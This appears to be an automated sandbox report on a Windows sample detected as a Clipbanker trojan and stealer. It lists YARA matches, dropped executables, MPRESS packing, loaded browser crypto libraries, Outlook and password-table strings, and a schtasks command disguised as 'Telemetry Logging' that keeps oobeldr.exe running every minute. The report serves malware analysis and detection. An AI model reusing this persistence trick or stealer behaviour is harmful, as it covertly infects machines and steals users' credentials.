Source: 5.2.JKJDAEBFCB.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 9.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 9.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000005.00000002.1854447772.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000005.00000002.1854447772.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09
Source: 00000009.00000002.4149764295.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = ec985e1273d8ff52ea7f86271a96db01633402facf8d140d11b82e5539e4b5fd, id = f9f9e79d-ce71-4b6c-83e0-ac6e06252c25, last_modified = 2022-06-09
Source: 00000009.00000002.4149764295.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Clipbanker_787b130b reference_sample = 0407e8f54490b2a24e1834d99ec0452f217499f1e5a64de3d28439d71d16d43c, os = windows, severity = x86, creation_date = 2022-04-24, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Clipbanker, fingerprint = 15f3c7d5f25982a02a6bca0b550b3b65e1e21efa5717a1ea0c13dfe46b8f2699, id = 787b130b-6382-42f0-8822-fce457fa940d, last_modified = 2022-06-09

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@16/26@1/2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_6C997030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

2_2_6C997030

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00418120 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

2_2_00418120

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00413230 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

2_2_00413230

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8012:120:WilError_03
Source: C:\Users\user\Desktop\file.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8104:120:WilError_03
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Mutant created: \Sessions\1\BaseNamedObjects\jW5fQ5e-C7lR7tC1q
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7668:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7872:120:WilError_03

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: RegAsm.exe, 00000002.00000002.1865423926.000000001B0AA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1875212093.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1875942822.000000006CB6F000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: RegAsm.exe, 00000002.00000002.1865423926.000000001B0AA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1875212093.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1875942822.000000006CB6F000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: RegAsm.exe, 00000002.00000002.1865423926.000000001B0AA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1875212093.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1875942822.000000006CB6F000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: RegAsm.exe, 00000002.00000002.1865423926.000000001B0AA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1875212093.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1875942822.000000006CB6F000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: RegAsm.exe, RegAsm.exe, 00000002.00000002.1865423926.000000001B0AA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1875212093.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1875942822.000000006CB6F000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 00000002.00000002.1865423926.000000001B0AA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1875212093.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: RegAsm.exe, 00000002.00000002.1865423926.000000001B0AA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1875212093.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1875942822.000000006CB6F000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: CBKJKJDBFIIDHJKEHJEH.2.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: RegAsm.exe, 00000002.00000002.1865423926.000000001B0AA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1875212093.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: RegAsm.exe, 00000002.00000002.1865423926.000000001B0AA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1875212093.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.2.dr, softokn3.dll.2.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 21%

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\JKJDAEBFCB.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\JKJDAEBFCB.exe "C:\ProgramData\JKJDAEBFCB.exe"
Source: C:\ProgramData\JKJDAEBFCB.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\JKJDAEBFCB.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\JKJDAEBFCB.exe "C:\ProgramData\JKJDAEBFCB.exe"	Jump to behavior
Source: C:\ProgramData\JKJDAEBFCB.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\JKJDAEBFCB.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\JKJDAEBFCB.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\JKJDAEBFCB.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\JKJDAEBFCB.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.2.dr, freebl3[1].dll.2.dr
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000002.00000002.1875942822.000000006CB6F000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.2.dr, softokn3.dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.2.dr, vcruntime140[1].dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.2.dr, msvcp140[1].dll.2.dr
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000002.00000002.1875942822.000000006CB6F000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: .pdb8% source: file.exe
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.2.dr, softokn3.dll.2.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\ProgramData\JKJDAEBFCB.exe	Unpacked PE file: 5.2.JKJDAEBFCB.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Unpacked PE file: 9.2.oobeldr.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004195E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

2_2_004195E0

Source: initial sample

Static PE information: section where entry point is pointing to: .MPRESS2

Source: JKJDAEBFCB.exe.2.dr	Static PE information: section name: .MPRESS1
Source: JKJDAEBFCB.exe.2.dr	Static PE information: section name: .MPRESS2
Source: l2[1].exe.2.dr	Static PE information: section name: .MPRESS1
Source: l2[1].exe.2.dr	Static PE information: section name: .MPRESS2
Source: msvcp140.dll.2.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.2.dr	Static PE information: section name: .didat
